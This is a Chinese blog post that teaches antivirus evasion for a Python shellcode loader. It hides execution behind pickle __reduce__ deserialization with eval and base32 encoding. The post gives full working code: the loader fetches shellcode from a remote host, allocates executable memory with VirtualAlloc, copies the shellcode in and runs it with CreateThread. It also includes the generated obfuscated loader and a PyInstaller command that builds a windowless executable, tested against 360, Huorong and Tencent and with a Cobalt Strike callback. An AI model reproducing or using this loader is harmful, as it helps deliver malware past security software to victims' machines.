前言

前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别。

所以我们要想办法去掉加载器中明显的特征。

原理及实现

在绕过静态查杀方面,主要就是要隐藏特征,比较常见的就是各种混淆、加密,但加密后的代码到最终还是需要去执行它才行,代码执行这一个操作其实特征也是很明显的,像exec、eval、os.system、subprocess.Popen这种,一眼就能看出来。所以也要想办法隐藏执行这一步的特征,这里就可以利用反序列化。

下面我们来看一段Python反序列化的代码:

import subprocessimport cPickleclass gugu(object):def __reduce__(self):return (subprocess.Popen, (('calc.exe',),))ret = cPickle.dumps(gugu())print repr(ret)cPickle.loads(ret)

程序在执行完毕后输出了序列化后的值,并弹了个计算器,代码中__reduce__的定义如下:

__reduce__(self)

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。__reduce__被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

所以核心就是__reduce__这个魔法函数的返回值会在反序列化的时候被执行,那么我们提前将恶意代码放进__reduce__中,序列化时记录它的返回值,然后直接反序列化这段值就能执行恶意代码了,对杀软来说,整个代码在表面上就是执行反序列化的一个操作。

在反序列化的时候我测试发现能控制的有os.system、subprocess.Popen和eval,其中前两个是直接执行系统命令,但打包出的加载器大黑框去不掉,那就只能考虑用eval了,而eval只能执行单句,像加载器这种拥有多行代码的没法一次执行,所以最后采用将加载器的代码每一行都单独执行,将序列化后的值进行编码,最后依次解码反序列化即可执行加载器。

生成加载器的代码(很丑,轻喷):

import ctypes,cPickle,base64,urllib2class test1(object):def __reduce__(self):return(eval,("urllib2.urlopen('http://192.168.227.128').read().decode('hex')",))class test2(object):def __init__(self, shellcode):self.shellcode = shellcodedef __reduce__(self):return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))class test3(object):def __init__(self, rwxpage, shellcode):self.rwxpage = rwxpageself.shellcode = shellcodedef __reduce__(self):return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))class test4(object):def __init__(self, rwxpage):self.rwxpage = rwxpagedef __reduce__(self):return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",))class test5(object):def __init__(self, handle):self.handle = handledef __reduce__(self):return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",))if __name__ == '__main__':raw_shellcode = test1()ser_shellcode = cPickle.dumps(raw_shellcode)enb32_shellcode = base64.b32encode(ser_shellcode)shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))raw_vir = test2(shellcode)ser_vir = cPickle.dumps(raw_vir)enb32_vir = base64.b32encode(ser_vir)rwxpage = cPickle.loads(base64.b32decode(enb32_vir))raw_rtl = test3(rwxpage, shellcode)ser_rtl = cPickle.dumps(raw_rtl)enb32_rtl = base64.b32encode(ser_rtl)raw_handle=test4(rwxpage)ser_handle = cPickle.dumps(raw_handle)enb32_handle = base64.b32encode(ser_handle)handle = cPickle.loads(base64.b32decode(enb32_handle))raw_run = test5(handle)ser_run = cPickle.dumps(raw_run)enb32_run = base64.b32encode(ser_run)output = '''import ctypes,cPickle,base64,urllib2e_shellcode = "{}"shellcode = cPickle.loads(base64.b32decode(e_shellcode))e_rwxpage="{}"rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))e_code = "{}"cPickle.loads(base64.b32decode(e_code))e_handle = "{}"handle = cPickle.loads(base64.b32decode(e_handle))e_run = "{}"cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run)with open('Loader.py','w') as f:f.write(output)f.close()

运行完毕后会生成一个加载器,生成的加载器代码:

import ctypes,cPickle,base64,urllib2e_shellcode = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGITVOJWGY2LCGIXHK4TMN5YGK3RIE5UHI5DQHIXS6MJZGIXDCNRYFYZDENZOGEZDQJZJFZZGKYLEFAUS4ZDFMNXWIZJIE5UGK6BHFERAU4BSBJ2HAMYKKJYDICRO"shellcode = cPickle.loads(base64.b32decode(e_shellcode))e_rwxpage="MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFM2LSOR2WC3CBNRWG6YZIGAWGYZLOFBZWQZLMNRRW6ZDFFEWDA6BRGAYDALBQPA2DAKJHBJYDECTUOAZQUUTQGQFC4==="rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))e_code = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFE5DMJVXXMZKNMVWW64TZFBZHO6DQMFTWKLDDOR4XAZLTFZRXEZLBORSV643UOJUW4Z27MJ2WMZTFOIUHG2DFNRWGG33EMUUSY3DFNYUHG2DFNRWGG33EMUUSSJYKOAZAU5DQGMFFE4BUBIXA===="cPickle.loads(base64.b32decode(e_code))e_handle = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXEG4TFMF2GKVDIOJSWCZBIGAWDALDSO54HAYLHMUWDALBQFQYCSJYKOAZAU5DQGMFFE4BUBIXA===="handle = cPickle.loads(base64.b32decode(e_handle))e_run = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFOYLJORDG64STNFXGO3DFJ5RGUZLDOQUGQYLOMRWGKLBNGEUSOCTQGIFHI4BTBJJHANAKFY======"cPickle.loads(base64.b32decode(e_run))

然后用PyInstaller打包成exe:

PyInstaller --noconsole --onefile old_loader\old_Loader.py

测试查杀效果

在虚拟机中将360杀毒、360安全卫士、火绒和腾讯电脑管家版本和病毒库升至最新:

然后断网依次查杀:

CS上线测试:

执行命令测试:

结语

大家在测试免杀的时候,虚拟机一定要做好快照,杀软升级到最新后要断网,待测试完毕后及时恢复快照(不用有什么侥幸心理),我之前就因为操作不当,导致样本被传到云上了。

关于免杀,我还有一些新思路,其中包括流量等方面的,关注我们的微信公众号,后续我们会继续分享。大家有什么其他想法,可以到公众号留言,欢迎交流~~~另外,初次写文有点紧张呢,文中可能有一些表述不对的地方,希望大家可以留言指正!

最后,祝大家周末愉快~

参考

https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html

python类加载器_利用Python反序列化运行加载器实现免杀相关推荐

  1. php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

    前言 前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别. 所以我们要想办法去掉加载器中明显的特征. 原理及实现 在绕过静 ...

  2. amba simple class驱动_学习笔记:class加载器和双亲委派模型

    类加载器 类加载器有四种 启动类加载器(Bootstrap ClassLoader) 负责加载 JAVA_HOMElib ⽬录中的,或通过-Xbootclasspath参数指定路径中的且被虚拟机认可( ...

  3. python实现app自动签到器_利用Python实现App自动签到领取积分

    要自动签到,最简单的是打开页面分析请求,然后我们用脚本实现请求的自动化.但是发现食行没有页面,只有 APP,这不是一个好消息,这意味着需要抓包处理了. 有需要Python学习资料的小伙伴吗?小编整理[ ...

  4. python 动态仪表盘_利用EXCEL的power pivot+切片器制作动态仪表盘

    (先上视频看最终效果) 下面简单说一下利用EXCEL自带的分析工具power pivot结合切片工作制作多表动态仪表盘的步骤: 1.在EXCEL工具栏上右键,调出自定义功能区,把开发工具添加到菜单栏. ...

  5. python 词云_利用Python生成词云

    利用Python生成词云 一.第三方库的安装与介绍 1.1  Python第三方库jieba(中文分词) 1.介绍 "结巴"中文分词:做最好的 Python 中文分词组件. 2.特 ...

  6. python高斯求和_利用Python进行数据分析(3)- 列表、元组、字典、集合

    本文主要是对Python的数据结构进行了一个总结,常见的数据结构包含:列表list.元组tuple.字典dict和集合set. image 索引 左边0开始,右边-1开始 通过index()函数查看索 ...

  7. python图色检测_利用python打开摄像头及颜色检测方法

    最近两周由于忙于个人项目,一直未发言了,实在是太荒凉了....,上周由于项目,见到Python的应用极为广泛,用起来也特别顺手,于是小编也开始着手学习Python,-下面我就汇报下今天的学习成果吧 小 ...

  8. python音频聚类_利用python的KMeans和PCA包实现聚类算法

    题目: 通过给出的驾驶员行为数据(trip.csv),对驾驶员不同时段的驾驶类型进行聚类,聚成普通驾驶类型,激进类型和超冷静型3类 . 利用Python的scikit-learn包中的Kmeans算法 ...

  9. 利用python进行数据分析_利用python进行数据分析复现(1)

    一直以来,都想学习python数据分析相关的知识,总是拖拖拉拉,包括这次这个分享也是.<利用python进行数据分析 第2版>是一次无意之间在简书上看到的一个分享,我决定将很详细.一直都 ...

最新文章

  1. 设计模式系列·抽象工厂模式
  2. 2021西南位育高考成绩查询,上海近40所高中2020高考录取情况汇总!
  3. 陈一舟:在中国当企业家要有承受能力 失败了大家会看你笑话
  4. SAP Spartacus StoreFeatureModule
  5. mac 连接hbase的图形化界面_MAC安装Hbase以及Hbase基本命令
  6. apache/nginx中equest.getServerName()外网环境获取不到代理地址/域名
  7. PortAudio(v19) 在vs2010上的环境搭建
  8. 模板类的声明和定义要放在同一个文件
  9. 《最重要的事,只有一件》读书笔记
  10. python培训机构靠谱吗
  11. 第四回:产品创新性思维方法论
  12. GNU C++ 智能指针6-- 解析_Sp_counted_inplace类
  13. vs2008简体中文正式版下载
  14. 动态规划解决贴纸拼字游戏
  15. 农民伯伯 内容相当丰富!
  16. win10浏览器 html乱码怎么解决,win10浏览器乱码如何解决_win10浏览器字体乱码修复方法...
  17. 最大团与最大独立集(递推法+dfs两剪枝求最大团)
  18. android 分享到qq黑屏,为什么我的手机打开QQ好友动态就会黑屏?
  19. 【天光学术】会计学论文:管理会计在供应链管理中的应用
  20. Java面试题收集(三)

热门文章

  1. 反思编写页面追加页面元素的方法,目的:加快开发速度 节省开发时间 需求:点击搜索清空表格内容进行增加新的数据行
  2. PHP的memory_limit
  3. JS百度地图高德地图API的接入与使用
  4. 台式计算机键盘配置及价格,最新台式电脑组装配置单及价格【图文】
  5. Oracle Minus 取差集
  6. 单片机c语言强制数据类型,写单片机程序数据类型相关
  7. oracle数据库sid已存在,Oracle SID在本机下已经存在,请指定一个不同的SID”的解决方法...
  8. e2fsck -y 故障_MC2-XWHM-Y
  9. fastjson字段改名/设置别名
  10. 【微信小程序】生成二维码方式